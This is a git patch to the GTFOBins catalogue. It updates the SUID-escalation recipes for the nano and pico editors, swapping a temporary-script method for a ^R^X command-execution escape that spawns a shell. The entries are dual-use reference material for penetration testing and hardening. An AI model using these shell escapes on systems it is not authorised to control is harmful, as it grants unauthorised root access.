From ac68a5864a859f40179348abe849bfe29377443c Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 16 Apr 2019 19:11:31 +0200 Subject: [PATCH] Update SUID in nano and pico --- _gtfobins/nano.md | 9 +++------ _gtfobins/pico.md | 9 +++------ 2 files changed, 6 insertions(+), 12 deletions(-) diff --git a/_gtfobins/nano.md b/_gtfobins/nano.md index 4f0d95d..4c008a4 100644 --- a/_gtfobins/nano.md +++ b/_gtfobins/nano.md @@ -20,12 +20,9 @@ functions: suid: - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | - TF=$(mktemp) - echo '#!/bin/sh -p - exec sh -p' > $TF - chmod +x $TF - ./nano -s $TF /etc/hosts - ^T + ./nano + ^R^X + reset; sh 1>&0 2>&0 sudo: - code: | sudo nano diff --git a/_gtfobins/pico.md b/_gtfobins/pico.md index 1338878..f88f26d 100644 --- a/_gtfobins/pico.md +++ b/_gtfobins/pico.md @@ -20,12 +20,9 @@ functions: suid: - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | - TF=$(mktemp) - echo '#!/bin/sh -p - exec sh -p' > $TF - chmod +x $TF - ./pico -s $TF /etc/hosts - ^T + ./pico + ^R^X + reset; sh 1>&0 2>&0 sudo: - code: | sudo pico